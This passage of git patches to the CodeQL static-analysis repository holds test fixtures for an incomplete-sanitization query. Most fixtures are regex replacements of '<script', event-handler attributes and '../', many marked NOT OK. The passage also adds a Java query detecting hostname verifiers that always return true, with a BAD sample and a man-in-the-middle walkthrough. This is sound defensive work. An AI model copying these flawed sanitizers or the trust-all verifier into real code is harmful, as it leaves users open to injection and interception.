\\.\\. | -| tst-multi-character-sanitization.js:49:13:49:43 | req.url ... EL, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:48:21:48:31 | (\\/)?\\.\\.\\/ | (\\/)?\\.\\.\\/ | -| tst-multi-character-sanitization.js:64:7:64:73 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:64:18:64:24 | <script | <script | -| tst-multi-character-sanitization.js:66:7:66:56 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:66:18:66:49 | (\\/\|\\s)on\\w+=(\\'\|")?[^"]*(\\'\|")? | (\\/\|\\s)on\\w+=(\\'\|")?[^"]*(\\'\|")? | -| tst-multi-character-sanitization.js:75:7:75:37 | x.repla ... gm, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:75:18:75:21 | <!-- | <!-- | -| tst-multi-character-sanitization.js:77:7:77:36 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:77:18:77:29 | \\sng-[a-z-]+ | \\sng-[a-z-]+ | -| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:81:18:81:24 | <script | <script | -| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:81:36:81:39 | only | only | -| tst-multi-character-sanitization.js:82:7:82:50 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:82:18:82:30 | <script async | <script async | -| tst-multi-character-sanitization.js:83:7:83:63 | x.repla ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:83:18:83:21 | <!-- | <!-- | -| tst-multi-character-sanitization.js:85:7:85:48 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:85:18:85:41 | \\x2E\\x2E\\x2F\\x2E\\x2E\\x2F | \\x2E\\x2E\\x2F\\x2E\\x2E\\x2F | -| tst-multi-character-sanitization.js:87:7:87:47 | x.repla ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:87:18:87:24 | <script | <script | -| tst-multi-character-sanitization.js:92:7:96:4 | x.repla ... ";\\n }) | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:92:18:92:24 | <script | <script | -| tst-multi-character-sanitization.js:100:7:100:28 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:100:18:100:21 | \\.\\. | \\.\\. | -| tst-multi-character-sanitization.js:101:7:101:30 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:101:18:101:23 | \\.\\.\\/ | \\.\\.\\/ | -| tst-multi-character-sanitization.js:102:7:102:30 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:102:18:102:23 | \\/\\.\\. | \\/\\.\\. | -| tst-multi-character-sanitization.js:104:7:104:58 | x.repla ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:104:18:104:24 | <script | <script | -| tst-multi-character-sanitization.js:106:7:106:64 | x.repla ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:106:18:106:56 | <(script\|del)(?=[\\s>])[\\w\\W]*?<\\/\\1\\s*> | <(script\|del)(?=[\\s>])[\\w\\W]*?<\\/\\1\\s*> | -| tst-multi-character-sanitization.js:107:7:107:62 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:107:18:107:55 | \\<script[\\s\\S]*?\\>[\\s\\S]*?\\<\\/script\\> | \\<script[\\s\\S]*?\\>[\\s\\S]*?\\<\\/script\\> | -| tst-multi-character-sanitization.js:108:7:108:75 | x.repla ... gm, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:108:18:108:67 | <(script\|style\|title)[^<]+<\\/(script\|style\|title)> | <(script\|style\|title)[^<]+<\\/(script\|style\|title)> | -| tst-multi-character-sanitization.js:109:7:109:58 | x.repla ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:109:18:109:24 | <script | <script | -| tst-multi-character-sanitization.js:110:7:110:50 | x.repla ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:110:18:110:24 | <script | <script | -| tst-multi-character-sanitization.js:111:7:111:32 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:111:20:111:23 | <!-- | <!-- | -| tst-multi-character-sanitization.js:112:7:112:50 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:112:18:112:43 | require\\('\\.\\.\\/common'\\); | require\\('\\.\\.\\/common'\\); | -| tst-multi-character-sanitization.js:113:7:113:41 | x.repla ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:113:18:113:34 | \\.\\.\\/\\.\\.\\/lib\\/ | \\.\\.\\/\\.\\.\\/lib\\/ | +| tst-multi-character-sanitization.js:3:13:3:57 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:3:30:3:30 | < | <cript | +| tst-multi-character-sanitization.js:4:13:4:47 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:4:30:4:40 | on\\w+=".*" | on | +| tst-multi-character-sanitization.js:5:13:5:49 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:5:30:5:42 | on\\w+=\\'.*\\' | on | +| tst-multi-character-sanitization.js:9:13:9:47 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:9:30:9:30 | < | <cript | +| tst-multi-character-sanitization.js:10:13:10:49 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:10:30:10:42 | .on\\w+=.*".*" | on | +| tst-multi-character-sanitization.js:11:13:11:51 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:11:30:11:44 | .on\\w+=.*\\'.*\\' | on | +| tst-multi-character-sanitization.js:19:3:19:35 | respons ... pt, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:18:18:18:24 | <script | <script | +| tst-multi-character-sanitization.js:25:10:25:40 | text.re ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:25:24:25:27 | <!-- | <!-- | +| tst-multi-character-sanitization.js:49:13:49:43 | req.url ... EL, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:48:22:48:23 | \\/ | /.. | +| tst-multi-character-sanitization.js:64:7:64:73 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:64:18:64:24 | <script | <script | +| tst-multi-character-sanitization.js:66:7:66:56 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:66:18:66:49 | (\\/\|\\s)on\\w+=(\\'\|")?[^"]*(\\'\|")? | on | +| tst-multi-character-sanitization.js:75:7:75:37 | x.repla ... gm, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:75:18:75:21 | <!-- | <!-- | +| tst-multi-character-sanitization.js:76:7:76:35 | x.repla ... +/, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:76:18:76:29 | \\sng-[a-z-]+ | ng- | +| tst-multi-character-sanitization.js:77:7:77:36 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:77:18:77:29 | \\sng-[a-z-]+ | ng- | +| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:81:36:81:39 | only | on | +| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:81:18:81:24 | <script | <script | +| tst-multi-character-sanitization.js:83:7:83:63 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:83:18:83:21 | <!-- | <!-- | +| tst-multi-character-sanitization.js:85:7:85:48 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:85:18:85:21 | \\x2E | ../ | +| tst-multi-character-sanitization.js:87:7:87:47 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:87:18:87:24 | <script | <script | +| tst-multi-character-sanitization.js:92:7:96:4 | x.repla ... ";\\n }) | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:92:18:92:24 | <script | <script | +| tst-multi-character-sanitization.js:101:7:101:30 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:101:18:101:19 | \\. | ../ | +| tst-multi-character-sanitization.js:102:7:102:30 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:102:18:102:19 | \\/ | /.. | +| tst-multi-character-sanitization.js:104:7:104:58 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:104:18:104:24 | <script | <script | +| tst-multi-character-sanitization.js:106:7:106:64 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:106:18:106:18 | < | <script | +| tst-multi-character-sanitization.js:107:7:107:62 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:107:18:107:19 | \\< | <script | +| tst-multi-character-sanitization.js:108:7:108:75 | x.repla ... gm, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:108:18:108:18 | < | <script | +| tst-multi-character-sanitization.js:109:7:109:58 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:109:18:109:24 | <script | <script | +| tst-multi-character-sanitization.js:110:7:110:50 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:110:18:110:24 | <script | <script | +| tst-multi-character-sanitization.js:111:7:111:32 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:111:18:111:19 | ? | <!-- | +| tst-multi-character-sanitization.js:126:7:129:34 | x\\n . ... //, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:129:15:129:20 | [^\\/]* | /.. | +| tst-multi-character-sanitization.js:135:2:135:44 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:135:19:135:25 | <script | <script | +| tst-multi-character-sanitization.js:136:2:136:46 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:136:19:136:19 | < | <script | +| tst-multi-character-sanitization.js:138:2:138:48 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:138:19:138:20 | .* | <script | diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js index 0400e392bfb..dfb7c493053 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js @@ -35,7 +35,7 @@ // CVE-2019-10767 (function(id) { - id = id.replace(/\.\./g, ""); // NOT OK + id = id.replace(/\.\./g, ""); // OK (can not contain '..' afterwards) return id; }); (function(id) { @@ -73,13 +73,13 @@ x = x.replace(/<li><\/li>/gi, ""); // OK x = x.replace(/<!--(.*?)-->/gm, ""); // NOT OK - x = x.replace(/\sng-[a-z-]+/, ""); // OK (single ng-attribute, should be flagged by some other query!) + x = x.replace(/\sng-[a-z-]+/, ""); // NOT OK x = x.replace(/\sng-[a-z-]+/g, ""); // NOT OK (ng-attributes) x = x.replace(/(<!--\[CDATA\[|\]\]-->)/g, "\n"); // OK: not a sanitizer - x = x.replace(/<script.+desktop\-only.+<\/script>/g, ""); // OK, but still flagged [INCONSISTENCY] - x = x.replace(/<script async.+?<\/script>/g, ""); // OK, but still flagged [INCONSISTENCY] + x = x.replace(/<script.+desktop\-only.+<\/script>/g, ""); // OK [INCONSISTENCY] + x = x.replace(/<script async.+?<\/script>/g, ""); // OK x = x.replace(/<!--[\s\S]*?-->|<\?(?:php)?[\s\S]*?\?>/gi, ""); // NOT OK x = x.replace(/\x2E\x2E\x2F\x2E\x2E\x2F/g, ""); // NOT OK (matches "../../") @@ -97,7 +97,7 @@ x = x.replace(/<\/?([a-z][a-z0-9]*)\b[^>]*>/gi, ""); // NOT OK [INCONSISTENCY] - x = x.replace(/\.\./g, ""); // NOT OK + x = x.replace(/\.\./g, ""); // OK x = x.replace(/\.\.\//g, ""); // NOT OK x = x.replace(/\/\.\./g, ""); // NOT OK @@ -109,8 +109,31 @@ x = x.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi, ""); // NOT OK x = x.replace(/<script[\s\S]*?<\/script>/gi, ""); // NOT OK x = x.replace(/ ?<!-- ?/g, ""); // NOT OK - x = x.replace(/require\('\.\.\/common'\);/g, ""); // OK [INCONSISTENCY] permit alphanum-suffix after the dots? - x = x.replace(/\.\.\/\.\.\/lib\//g, ""); // OK [INCONSISTENCY] permit alphanum-suffix after the dots? + x = x.replace(/require\('\.\.\/common'\);/g, ""); // OK + x = x.replace(/\.\.\/\.\.\/lib\//g, ""); // OK + + while (x.indexOf(".") !== -1) { + x = x + .replace(/^\.\//, "") + .replace(/\/\.\//, "/") + .replace(/[^\/]*\/\.\.\//, ""); // OK + } + + x = x.replace(/([^.\s]+\.)+/, ""); // OK + + x = x.replace(/<!\-\-DEVEL[\d\D]*?DEVEL\-\->/g, ""); // OK + + x = x + .replace(/^\.\//, "") + .replace(/\/\.\//, "/") + .replace(/[^\/]*\/\.\.\//, ""); // NOT OK return x; }); + +(function (content) { + content.replace(/<script.*\/script>/gi, ""); // NOT OK + content.replace(/<(script).*\/script>/gi, ""); // NOT OK + content.replace(/.+<(script).*\/script>/gi, ""); // OK + content.replace(/.*<(script).*\/script>/gi, ""); // NOT OK +}); From 828bb9a90249ac9e4894d158f7b4c8d5a91e203b Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 11 Jan 2021 11:28:40 +0100 Subject: [PATCH 0475/1241] Python: Small refactor for request param modeling in Django --- python/ql/src/semmle/python/frameworks/Django.qll | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 74c1856a79b..3e7283208e7 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1905,9 +1905,10 @@ private module Django { // --------------------------------------------------------------------------- // HttpRequest taint modeling // --------------------------------------------------------------------------- - class DjangoRouteHandlerRequestParam extends django::http::request::HttpRequest::InstanceSource, + /** A parameter that will receive the django `HttpRequest` instance when a request handler is invoked. */ + private class DjangoRequestHandlerRequestParam extends django::http::request::HttpRequest::InstanceSource, RemoteFlowSource::Range, DataFlow::ParameterNode { - DjangoRouteHandlerRequestParam() { + DjangoRequestHandlerRequestParam() { this.getParameter() = any(DjangoRouteSetup setup).getARequestHandler().getRequestParam() or this.getParameter() = any(DjangoViewClassHandlerWithoutKnownRoute setup).getRequestParam() From e0fc9bac08b140860f79cc2d7ee17139ecba4a76 Mon Sep 17 00:00:00 2001 From: madneal <neal1991@sina.com> Date: Mon, 11 Jan 2021 19:15:22 +0800 Subject: [PATCH 0476/1241] add error for shotString --- docs/codeql/ql-language-reference/predicates.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index 361d278337d..7ac20a5935f 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -235,6 +235,7 @@ Here are a few examples of infinite predicates: /* Compilation error: ERROR: "str" is not bound to a value. + ERROR: expression is not bound to a value. */ predicate shortString(string str) { str.length() < 10 From 4e373aaf297fbb6c770a3178558c9de394ae3d0d Mon Sep 17 00:00:00 2001 From: madneal <neal1991@sina.com> Date: Mon, 11 Jan 2021 19:38:27 +0800 Subject: [PATCH 0477/1241] replace error with errors --- docs/codeql/ql-language-reference/predicates.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index 7ac20a5935f..f769885482e 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -233,7 +233,7 @@ Here are a few examples of infinite predicates: } /* - Compilation error: + Compilation errors: ERROR: "str" is not bound to a value. ERROR: expression is not bound to a value. */ From 8df5d77398b847616441ed20c3cb1dd4b07138d5 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Sat, 5 Dec 2020 00:30:56 +0100 Subject: [PATCH 0478/1241] Java: Model `HostnameVerifier` method Model `HostnameVerifier#setDefaultHostnameVerifier` --- java/ql/src/semmle/code/java/security/Encryption.qll | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index ea7a33151f8..35b9c367dd3 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -74,6 +74,13 @@ class SetHostnameVerifierMethod extends Method { } } +class SetDefaultHostnameVerifierMethod extends Method { + SetDefaultHostnameVerifierMethod() { + hasName("setDefaultHostnameVerifier") and + getDeclaringType().getASupertype*() instanceof HttpsURLConnection + } +} + bindingset[algorithmString] private string algorithmRegex(string algorithmString) { // Algorithms usually appear in names surrounded by characters that are not From 3da1cb08798386516a32add43ad6a3d991cb1ffe Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Sat, 5 Dec 2020 00:32:11 +0100 Subject: [PATCH 0479/1241] Java: Add unsafe hostname verification query --- .../CWE-297/UnsafeHostnameVerification.java | 30 +++++++ .../CWE-297/UnsafeHostnameVerification.qhelp | 45 ++++++++++ .../CWE/CWE-297/UnsafeHostnameVerification.ql | 75 +++++++++++++++++ .../UnsafeHostnameVerification.expected | 18 ++++ .../CWE-297/UnsafeHostnameVerification.java | 84 +++++++++++++++++++ .../CWE-297/UnsafeHostnameVerification.qlref | 1 + 6 files changed, 253 insertions(+) create mode 100644 java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.java create mode 100644 java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp create mode 100644 java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql create mode 100644 java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected create mode 100644 java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java create mode 100644 java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.qlref diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.java b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.java new file mode 100644 index 00000000000..f50424b96c4 --- /dev/null +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.java @@ -0,0 +1,30 @@ +public static void main(String[] args) { + + { + HostnameVerifier verifier = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + return true; // BAD: accept even if the hostname doesn't match + } + }; + HttpsURLConnection.setDefaultHostnameVerifier(verifier); + } + + { + HostnameVerifier verifier = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + try { // GOOD: verify the certificate + Certificate[] certs = session.getPeerCertificates(); + X509Certificate x509 = (X509Certificate) certs[0]; + check(new String[]{host}, x509); + return true; + } catch (SSLException e) { + return false; + } + } + }; + HttpsURLConnection.setDefaultHostnameVerifier(verifier); + } + +} \ No newline at end of file diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp new file mode 100644 index 00000000000..71c28a93159 --- /dev/null +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp @@ -0,0 +1,45 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> +<overview> +<p> +If a <code>HostnameVerifier</code> always returns <code>true</code> it will not verify the hostname at all. +This allows an attacker to perform a Man-in-the-middle attack against the application therefore breaking any security Transport Layer Security (TLS) gives. + +An attack would look like this: +1. The program connects to <code>https://example.com</code>. +2. The attacker intercepts this connection and presents one of their valid certificates they control, for example one from Let's Encrypt. +3. Java verifies that the certificate has been issued by a trusted certificate authority. +4. Java verifies that the certificate has been issued for the host <code>example.com</code>, which will fail because the certificate has been issued for <code>malicious.domain</code>. +5. Java wants to reject the certificate because the hostname does not match. Before doing this it checks whether there exists a <code>HostnameVerifier</code>. +6. Your <code>HostnameVerifier</code> is called which returns <code>true</code> for any certificate so also for this one. +7. Java proceeds with the connection since your <code>HostnameVerifier</code> accepted it. +8. The attacker can now read the data (Man-in-the-middle) your program sends to <code>https://example.com</code> while the program thinks the connection is secure. +</p> +</overview> + +<recommendation> +<p> +Do NOT use an unverifying <code>HostnameVerifier</code>! +<li>If you use an unverifying verifier to solve a configuration problem with TLS/HTTPS you should solve the configuration problem instead. +</li> +</p> + +</recommendation> + +<example> +<p> +In the first (bad) example, the <code>HostnameVerifier</code> always returns <code>true</code>. +This allows an attacker to perform a man-in-the-middle attack, because any certificate is accepted despite an incorrect hostname. +In the second (good) example, the <code>HostnameVerifier</code> only returns <code>true</code> when the certificate has been correctly checked. +</p> +<sample src="UnsafeHostnameVerification.java" /> +</example> + +<references> +<li><a href="https://developer.android.com/training/articles/security-ssl">Android Security Guide for TLS/HTTPS</a>.</li> +<li><a href="https://tersesystems.com/blog/2014/03/23/fixing-hostname-verification/">Further Information on Hostname Verification</a>.</li> +<li>OWASP: <a href="https://cwe.mitre.org/data/definitions/297.html">CWE-297</a>.</li> +</references> +</qhelp> \ No newline at end of file diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql new file mode 100644 index 00000000000..f661f4acde9 --- /dev/null +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -0,0 +1,75 @@ +/** + * @name Disabled hostname verification + * @description Accepting any certificate as valid for a host allows an attacker to perform a man-in-the-middle attack. + * @kind path-problem + * @problem.severity error + * @precision high + * @id java/everything-accepting-hostname-verifier + * @tags security + * external/cwe/cwe-297 + */ + +import java +import semmle.code.java.security.Encryption +import semmle.code.java.dataflow.DataFlow +import DataFlow::PathGraph +import semmle.code.java.controlflow.Guards + +/** + * Holds if `m` always returns `true` ignoring any exceptional flow. + */ +private predicate alwaysReturnsTrue(HostnameVerifierVerify m) { + forex(ReturnStmt rs | rs.getEnclosingCallable() = m | + rs.getResult().(CompileTimeConstantExpr).getBooleanValue() = true + ) +} + +/** + * A class that overrides the `javax.net.ssl.HostnameVerifier.verify` method and **always** returns `true`, thus + * accepting any certificate despite a hostname mismatch. + */ +class TrustAllHostnameVerifier extends RefType { + TrustAllHostnameVerifier() { + this.getASupertype*() instanceof HostnameVerifier and + exists(HostnameVerifierVerify m | + m.getDeclaringType() = this and + alwaysReturnsTrue(m) + ) + } +} + +/** + * A configuration to model the flow of a `TrustAllHostnameVerifier` to a `set(Default)HostnameVerifier` call. + */ +class TrustAllHostnameVerifierConfiguration extends DataFlow::Configuration { + TrustAllHostnameVerifierConfiguration() { this = "TrustAllHostnameVerifierConfiguration" } + + override predicate isSource(DataFlow::Node source) { + source.asExpr().(ClassInstanceExpr).getConstructedType() instanceof TrustAllHostnameVerifier + } + + override predicate isSink(DataFlow::Node sink) { + exists(MethodAccess ma, Method m | + (m instanceof SetDefaultHostnameVerifierMethod or m instanceof SetHostnameVerifierMethod) and + ma.getMethod() = m + | + ma.getArgument(0) = sink.asExpr() + ) + } +} + +/** Holds if `node` is guarded by a flag that suggests an intentionally insecure feature. */ +private predicate isNodeGuardedByFlag(DataFlow::Node node) { + exists(Guard g | g.controls(node.asExpr().getBasicBlock(), _) | + g + .(VarAccess) + .getVariable() + .getName() + .regexpMatch("(?i).*(secure|(en|dis)able|selfCert|selfSign|validat|verif|trust|ignore).*") + ) +} + +from DataFlow::PathNode source, DataFlow::PathNode sink, TrustAllHostnameVerifierConfiguration cfg +where cfg.hasFlowPath(source, sink) and not isNodeGuardedByFlag(sink.getNode()) +select sink, source, sink, "$@ that accepts any certificate as valid, is used here.", source, + "This hostname verifier" diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected new file mode 100644 index 00000000000..2c15e7024a8 --- /dev/null +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected @@ -0,0 +1,18 @@ +edges +| UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:74:49:74:56 | verifier | +| UnsafeHostnameVerification.java:77:69:82:2 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:33:50:33:76 | ALLOW_ALL_HOSTNAME_VERIFIER | +nodes +| UnsafeHostnameVerification.java:13:49:18:3 | new (...) | semmle.label | new (...) | +| UnsafeHostnameVerification.java:25:49:25:65 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:33:50:33:76 | ALLOW_ALL_HOSTNAME_VERIFIER | semmle.label | ALLOW_ALL_HOSTNAME_VERIFIER | +| UnsafeHostnameVerification.java:46:49:46:65 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:58:50:58:76 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +| UnsafeHostnameVerification.java:74:49:74:56 | verifier | semmle.label | verifier | +| UnsafeHostnameVerification.java:77:69:82:2 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +#select +| UnsafeHostnameVerification.java:13:49:18:3 | new (...) | UnsafeHostnameVerification.java:13:49:18:3 | new (...) | UnsafeHostnameVerification.java:13:49:18:3 | new (...) | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:13:49:18:3 | new (...) | This hostname verifier | +| UnsafeHostnameVerification.java:25:49:25:65 | ...->... | UnsafeHostnameVerification.java:25:49:25:65 | ...->... | UnsafeHostnameVerification.java:25:49:25:65 | ...->... | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:25:49:25:65 | ...->... | This hostname verifier | +| UnsafeHostnameVerification.java:46:49:46:65 | ...->... | UnsafeHostnameVerification.java:46:49:46:65 | ...->... | UnsafeHostnameVerification.java:46:49:46:65 | ...->... | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:46:49:46:65 | ...->... | This hostname verifier | +| UnsafeHostnameVerification.java:58:50:58:76 | ...->... | UnsafeHostnameVerification.java:58:50:58:76 | ...->... | UnsafeHostnameVerification.java:58:50:58:76 | ...->... | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:58:50:58:76 | ...->... | This hostname verifier | +| UnsafeHostnameVerification.java:74:49:74:56 | verifier | UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:74:49:74:56 | verifier | $@ that accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:68:31:73:3 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java new file mode 100644 index 00000000000..d23d83613e0 --- /dev/null +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java @@ -0,0 +1,84 @@ +import 